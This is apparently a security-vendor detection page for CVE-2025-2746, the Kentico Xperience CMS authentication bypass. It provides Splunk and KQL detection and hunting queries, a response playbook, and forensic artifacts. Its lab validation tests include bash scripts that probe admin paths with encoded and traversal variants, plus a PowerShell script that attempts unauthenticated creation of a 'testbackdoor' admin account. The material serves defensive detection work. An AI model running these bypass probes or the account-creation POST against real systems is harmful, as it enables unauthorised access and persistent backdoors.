CVE-2025-2746 Splunk · SPL

Detect CVE-2025-2746: Kentico Xperience CMS Authentication Bypass in Splunk

Detects exploitation of CVE-2025-2746, an authentication bypass vulnerability (CWE-288) in Kentico Xperience CMS that allows attackers to access protected resources via alternate paths or channels without valid credentials. This vulnerability is actively exploited in the wild (CISA KEV).

MITRE ATT&CK

Tactic
Initial Access Persistence Privilege Escalation

SPL Detection Query

Splunk (SPL)
spl 
index=web OR index=iis sourcetype=iis OR sourcetype=ms:iis:auto
| eval uri=coalesce(cs_uri_stem, uri_path, url)
| eval status=coalesce(sc_status, status, http_status_code)
| eval src_ip=coalesce(c_ip, src_ip, clientip)
| eval username=coalesce(cs_username, user, username)
| where match(uri, "(?i)(/CMSPages/|/CMSModules/|/CMSAdminControls/|/CMS/|/Admin/)")
| where status IN ("200", "201", "302", "301")
| where (isnull(username) OR username="-" OR username="")
| where NOT match(uri, "(?i)(login|logon|signin|forgot|reset)")
| bucket _time span=5m
| stats
    count AS request_count,
    dc(uri) AS distinct_uris,
    values(uri) AS uri_samples,
    values(cs_user_agent) AS user_agents,
    min(_time) AS first_seen,
    max(_time) AS last_seen
    BY _time, src_ip, cs_host
| where request_count >= 3
| eval severity=if(distinct_uris>=5, "high", "medium")
| eval cve="CVE-2025-2746"
| table first_seen, last_seen, src_ip, cs_host, request_count, distinct_uris, uri_samples, user_agents, severity, cve
critical severity medium confidence

Detects unauthenticated HTTP requests to Kentico Xperience CMS administrative paths returning success status codes. Authentication bypass via alternate path (CWE-288) would manifest as successful access to protected CMS resources without a valid user session.

Data Sources

IIS Web LogsSplunk StreamPalo Alto Firewall Logs

Required Sourcetypes

iisms:iis:autostream:http

False Positives & Tuning

  • Legitimate CMS administrators accessing pages via bookmark or direct URL without active session (session expiry)
  • Automated content syndication services polling public-facing CMS endpoints that share path patterns with admin areas
  • Penetration testing or vulnerability scanning activity from authorized security teams
  • CDN or reverse proxy infrastructure that may not forward authentication headers correctly

Other platforms for CVE-2025-2746

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2025-2746 Authentication Bypass Path Enumeration

    Expected signal: IIS access log entries showing HTTP GET requests to /CMSPages/, /CMSModules/, /CMSAdminControls/, /CMS/, and /Admin/ paths from the test host IP without a cs-username value, with HTTP response codes of 200, 302, or 401 depending on patch status.

  2. Test 2CVE-2025-2746 Alternate Path Channel Bypass Attempt

    Expected signal: IIS logs should capture the URL-encoded and case-variant path requests. ASP.NET request normalization may cause the logged URI to differ from the requested URI — look for both raw and normalized forms in telemetry. Windows Security Event Log may show failed authorization attempts (Event ID 4625) if integrated auth is configured.

  3. Test 3CVE-2025-2746 Post-Exploitation CMS Account Creation Simulation

    Expected signal: IIS logs showing POST request to /CMSModules/Membership/Pages/Users/User_Edit_General.aspx without authentication. Kentico CMS_EventLog table entries for user creation attempt. Windows Security Event Log entries for IIS process activity. If successful on unpatched system, CMS_User table will contain the new account.

  4. Test 4CVE-2025-2746 Network-Level Authentication Bypass Detection Validation

    Expected signal: 10 concurrent HTTP requests to Kentico CMS paths appearing in IIS logs within a 1-second window, all from the same source IP without authentication headers. The burst pattern should appear clearly in SIEM dashboards.

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP(s) and determine if they are external, internal, or from a known trusted network range (monitoring tools, partner integrations). Cross-reference with threat intelligence feeds for known malicious infrastructure.
  2. Review the specific CMS paths accessed: paths under /CMSAdminControls/, /CMSModules/, or /CMS/Administration/ are higher risk than generic /CMSPages/ paths. Determine if sensitive administrative functions were accessed.
  3. Inspect HTTP response bodies (if captured by WAF or proxy) to determine if the unauthenticated requests returned actual administrative content vs. redirect-to-login responses. A 200 OK returning admin HTML confirms active bypass.
  4. Check Kentico CMS application event logs and audit logs for any user account changes, content modifications, or configuration alterations occurring around the time of the detected unauthenticated access.
  5. Determine the Kentico Xperience CMS version in use and confirm whether the hotfix for CVE-2025-2746 has been applied from https://devnet.kentico.com/download/hotfixes.

Containment

  1. If exploitation is confirmed, immediately block the source IP(s) at the WAF, firewall, or network perimeter. Apply a temporary rule to block all unauthenticated POST requests to /CMS/, /CMSPages/, /CMSModules/, and /CMSAdminControls/ paths.
  2. If the CMS cannot be immediately patched, restrict access to the Kentico administration interface by IP allowlist or temporarily take the admin interface offline while the patch is assessed and deployed.
  3. Rotate all Kentico CMS administrator credentials and invalidate all active CMS sessions to evict any attacker-established sessions. Review and revoke any API keys or integration tokens that may have been exposed.

Evidence Collection

  1. Collect and preserve IIS access logs (W3C format) for the affected server covering at minimum 30 days prior to detection. Ensure logs are exported to read-only storage to prevent tampering. Include cs-uri-stem, cs-uri-query, c-ip, cs-username, sc-status, cs(User-Agent), and cs(Referer) fields.
  2. Capture a memory image of the IIS/web server host if active exploitation is suspected, to identify any in-memory web shells or injected code that may not be present on disk. Also collect IIS worker process (w3wp.exe) memory dump.
  3. Export Kentico CMS audit logs from the CMS administration panel (if still accessible) covering all administrative actions, user logins, content changes, and configuration modifications for the period of interest.

Escalation Criteria

  • !Escalate immediately to incident response if the unauthenticated access resulted in any CMS content modification, user account creation or privilege escalation, or extraction of the CMS database connection string or application secrets.
  • !Escalate if web shell deployment is detected on the server (new .aspx or .ashx files in web root, or anomalous child processes spawned from w3wp.exe such as cmd.exe, powershell.exe, or net.exe).

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >IIS W3C access logs at %SystemDrive%\inetpub\logs\LogFiles\W3SVC* showing requests to CMS paths without cs-username values
  • >Windows Event Log Security (Event ID 4624, 4625) for authentication events around the same timeframe from the attacker IP
  • >Kentico CMS event log table (CMS_EventLog) in the SQL database recording administrative actions and errors
  • >File system timestamps on /CMSPages/, /CMSModules/, and /App_Data/ directories for newly created or modified files
  • >ASP.NET compilation cache at %windir%\Microsoft.NET\Framework*\Temporary ASP.NET Files for evidence of dynamically compiled web shells
  • >Network capture (PCAP) from the web server NIC if available, to reconstruct full HTTP request/response bodies for the bypass attempts

Tuning Guidance

Start by establishing a baseline of legitimate unauthenticated access patterns for your Kentico deployment — identify any monitoring, health-check, or integration endpoints that legitimately access CMS paths without session authentication. Add these source IPs and URI patterns to an allowlist to reduce false positives. Increase the request_count threshold from 3 to 10 or higher in high-traffic environments. For environments with WAF coverage, enrich alerts with WAF rule matches to improve confidence. Consider tuning severity based on the specific CMS paths accessed: /CMSAdminControls/ and /CMSModules/Administration/ should trigger at High confidence, while generic /CMSPages/ access may warrant Medium. If Kentico is behind an authenticated reverse proxy, update queries to use the X-Forwarded-For header as the true client IP source.

Hunting Queries

Threat hunt for off-hours unauthenticated access to Kentico CMS paths over the past 30 days. Attackers commonly probe during nights and weekends to avoid detection. This query surfaces source IPs with repeated unauthenticated CMS access outside business hours.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated >= ago(30d)
| where csUriStem has_any ("/CMSPages/", "/CMSModules/", "/CMSAdminControls/", "/CMS/")
| where scStatus == 200
| where csUsername in ("-", "", "anonymous") or isnull(csUsername)
| extend HourOfDay = hourofday(TimeGenerated)
| where HourOfDay !between (8 .. 18)
| summarize OffHoursCount=count(), URIs=make_set(csUriStem, 20) by csClientIP, bin(TimeGenerated, 1h)
| where OffHoursCount >= 2
| sort by OffHoursCount desc
Hunting — SPL
spl 
index=iis sourcetype=iis
| eval uri=cs_uri_stem, status=sc_status, src=c_ip, user=cs_username
| where (uri="/CMSPages/*" OR uri="/CMSModules/*" OR uri="/CMSAdminControls/*" OR uri="/CMS/*")
| where status="200" AND (user="-" OR user="" OR isnull(user))
| eval hour=strftime(_time, "%H")
| where hour < "08" OR hour > "18"
| stats count as off_hours_hits, values(uri) as uris by src, date_mday
| where off_hours_hits >= 2
| sort -off_hours_hits

Correlates unauthenticated Kentico CMS access with threat intelligence indicators. Source IPs accessing CMS admin paths without authentication that also appear in threat intel feeds are high-priority indicators of active CVE-2025-2746 exploitation.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated >= ago(30d)
| where csUriStem has_any ("/CMSPages/", "/CMSModules/", "/CMSAdminControls/")
| where scStatus == 200
| where csUsername in ("-", "") or isnull(csUsername)
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), RequestCount=count() by csClientIP
| join kind=inner (
    ThreatIntelligenceIndicator
    | where TimeGenerated >= ago(30d)
    | where isnotempty(NetworkIP)
    | project ThreatIP=NetworkIP, ThreatType, ConfidenceScore
) on $left.csClientIP == $right.ThreatIP
| project FirstSeen, LastSeen, csClientIP, RequestCount, ThreatType, ConfidenceScore
Hunting — SPL
spl 
index=iis sourcetype=iis
| eval uri=cs_uri_stem, status=sc_status, src=c_ip, user=cs_username
| where (uri="/CMSPages/*" OR uri="/CMSModules/*" OR uri="/CMSAdminControls/*")
| where status="200" AND (user="-" OR isnull(user))
| stats count as hits by src
| lookup threat_intel_lookup ip as src OUTPUT threat_type confidence
| where isnotnull(threat_type)
| sort -hits

Atomic Red Team Tests

Test 1 CVE-2025-2746 Authentication Bypass Path Enumeration
linux

Simulates an attacker enumerating Kentico Xperience CMS administrative paths without authentication to identify accessible endpoints. This tests whether the CMS returns 200 OK responses to unauthenticated requests for protected resources.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY - Authorized testing
TARGET_HOST="http://kentico-lab.internal"
CMS_PATHS=(
  "/CMSPages/GetResource.ashx"
  "/CMSModules/Membership/Pages/Users/User_List.aspx"
  "/CMSAdminControls/UI/UniGrid/UniGrid.ashx"
  "/CMS/CMSAdministration.aspx"
  "/Admin/"
  "/CMSPages/Dialogs/General/ModalDialogBase.aspx"
)
for path in "${CMS_PATHS[@]}"; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "User-Agent: Mozilla/5.0 (compatible; test)" \
    --max-time 10 \
    "${TARGET_HOST}${path}")
  echo "[$(date -u +%H:%M:%S)] GET ${path} -> HTTP ${response}"
  sleep 1
done
echo "Path enumeration complete"

Cleanup

bash 
No cleanup required — read-only HTTP requests. Review IIS access logs on target to confirm telemetry was generated.

Expected Telemetry

IIS access log entries showing HTTP GET requests to /CMSPages/, /CMSModules/, /CMSAdminControls/, /CMS/, and /Admin/ paths from the test host IP without a cs-username value, with HTTP response codes of 200, 302, or 401 depending on patch status.

Expected Detection

Detection should trigger within the 5-minute aggregation window when 3+ unauthenticated requests to CMS paths return 200 OK. If the system is patched, requests will return 401/403 and the detection will not fire (confirming patch effectiveness).

Test 2 CVE-2025-2746 Alternate Path Channel Bypass Attempt
linux

Tests URL encoding and alternate path traversal techniques that CWE-288 (Authentication Bypass Using Alternate Path or Channel) vulnerabilities often exploit. Sends requests with encoded path separators and case variations to probe authentication enforcement.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY - Authorized testing
TARGET_HOST="http://kentico-lab.internal"
ALTERNATE_PATHS=(
  "/cms/cmsadministration.aspx"
  "/CMS%2FCMSAdministration.aspx"
  "/CMS//CMSAdministration.aspx"
  "/%43%4D%53/CMSAdministration.aspx"
  "/CMS/./CMSAdministration.aspx"
  "/CMSPages/../CMSAdministration.aspx"
  "/cmsmodules/membership/pages/users/user_list.aspx"
)
for path in "${ALTERNATE_PATHS[@]}"; do
  response=$(curl -s -o /tmp/cms_response.txt -w "%{http_code}" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
    -H "Accept: text/html,application/xhtml+xml" \
    --max-time 10 \
    "${TARGET_HOST}${path}")
  content_length=$(wc -c < /tmp/cms_response.txt)
  echo "[$(date -u +%H:%M:%S)] GET ${path} -> HTTP ${response} (${content_length} bytes)"
  if [ "$response" = "200" ] && [ "$content_length" -gt 1000 ]; then
    echo "  [!] POTENTIAL BYPASS: Significant content returned without auth"
  fi
  sleep 2
done
rm -f /tmp/cms_response.txt

Cleanup

bash 
Remove /tmp/cms_response.txt if not auto-removed. No persistent changes made to target system.

Expected Telemetry

IIS logs should capture the URL-encoded and case-variant path requests. ASP.NET request normalization may cause the logged URI to differ from the requested URI — look for both raw and normalized forms in telemetry. Windows Security Event Log may show failed authorization attempts (Event ID 4625) if integrated auth is configured.

Expected Detection

The detection rule should capture requests with normalized paths matching CMS admin patterns. If the IIS URL normalization occurs before logging, some encoded variants may appear as canonical paths. Verify that your SIEM captures both raw and decoded URI fields.

Test 3 CVE-2025-2746 Post-Exploitation CMS Account Creation Simulation
windows

Simulates post-exploitation activity following a successful authentication bypass, where an attacker creates a backdoor administrator account via the Kentico CMS API without prior authentication. Tests detection of unauthorized administrative account creation.

Command

powershell 
# LAB ENVIRONMENT ONLY - Authorized testing on isolated Kentico instance
# Simulates attacker POSTing to Kentico admin user creation endpoint without auth

$TargetHost = "http://kentico-lab.internal"
$Headers = @{
    "Content-Type" = "application/x-www-form-urlencoded"
    "User-Agent" = "Mozilla/5.0 (compatible; SecurityTest/1.0)"
}

# Step 1: Attempt unauthenticated access to user management page
Write-Host "[*] Step 1: Probing user management endpoint..."
try {
    $response = Invoke-WebRequest -Uri "$TargetHost/CMSModules/Membership/Pages/Users/User_List.aspx" `
        -Headers $Headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
    Write-Host "[*] Response: $($response.StatusCode)"
} catch {
    Write-Host "[*] Response: $($_.Exception.Response.StatusCode.value__)"
}

# Step 2: Attempt to POST new admin user (will fail on patched systems)
Write-Host "[*] Step 2: Attempting unauthorized user creation POST..."
$Body = "UserName=testbackdoor&Password=T3stP@ss2024&[email protected]&UserRoleIDs=1"
try {
    $createResponse = Invoke-WebRequest -Uri "$TargetHost/CMSModules/Membership/Pages/Users/User_Edit_General.aspx" `
        -Method POST -Body $Body -Headers $Headers `
        -MaximumRedirection 0 -ErrorAction SilentlyContinue
    Write-Host "[*] Create response: $($createResponse.StatusCode)"
} catch {
    Write-Host "[*] Create response: $($_.Exception.Response.StatusCode.value__) (expected on patched systems)"
}
Write-Host "[*] Simulation complete"

Cleanup

powershell 
If running on a live lab instance, check Kentico CMS user list and remove any 'testbackdoor' account created during testing. Review CMS_EventLog table in the Kentico database for test entries.

Expected Telemetry

IIS logs showing POST request to /CMSModules/Membership/Pages/Users/User_Edit_General.aspx without authentication. Kentico CMS_EventLog table entries for user creation attempt. Windows Security Event Log entries for IIS process activity. If successful on unpatched system, CMS_User table will contain the new account.

Expected Detection

Initial unauthenticated GET should trigger the detection rule. The POST attempt provides additional telemetry for SIEM correlation. Security teams should also monitor for new entries in Kentico's CMS_User table with admin role assignments (RoleID=1) from unexpected timeframes as a compensating detection.

Test 4 CVE-2025-2746 Network-Level Authentication Bypass Detection Validation
linux

Validates detection coverage using a controlled burst of unauthenticated HTTP requests to Kentico CMS paths, designed to trigger the aggregation-based detection threshold within the monitoring window.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY - Validates detection rule thresholds
TARGET_HOST="http://kentico-lab.internal"
echo "[*] Starting detection validation burst at $(date -u)"
for i in $(seq 1 10); do
  path_index=$((i % 4))
  case $path_index in
    0) path="/CMSPages/GetResource.ashx?type=css&name=default" ;;
    1) path="/CMSModules/" ;;
    2) path="/CMSAdminControls/" ;;
    3) path="/CMS/CMSAdministration.aspx" ;;
  esac
  curl -s -o /dev/null \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
    --max-time 5 \
    "${TARGET_HOST}${path}" &
done
wait
echo "[*] Burst complete at $(date -u). Detection should trigger within 5 minutes."
echo "[*] Verify in SIEM: look for source IP $(curl -s ifconfig.me 2>/dev/null || hostname -I | awk '{print $1}') in detection alerts"

Cleanup

bash 
No cleanup required. Document the source IP used for testing in the SIEM to filter from production alerting after validation is complete.

Expected Telemetry

10 concurrent HTTP requests to Kentico CMS paths appearing in IIS logs within a 1-second window, all from the same source IP without authentication headers. The burst pattern should appear clearly in SIEM dashboards.

Expected Detection

Detection rule should fire within the 5-minute aggregation window showing request_count >= 10 from the test source IP. Use this result to calibrate the detection threshold for your environment's normal traffic baseline.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1548Abuse Elevation Control MechanismT1505.003Web Shell

Same Tactic: Initial Access

Popular Detections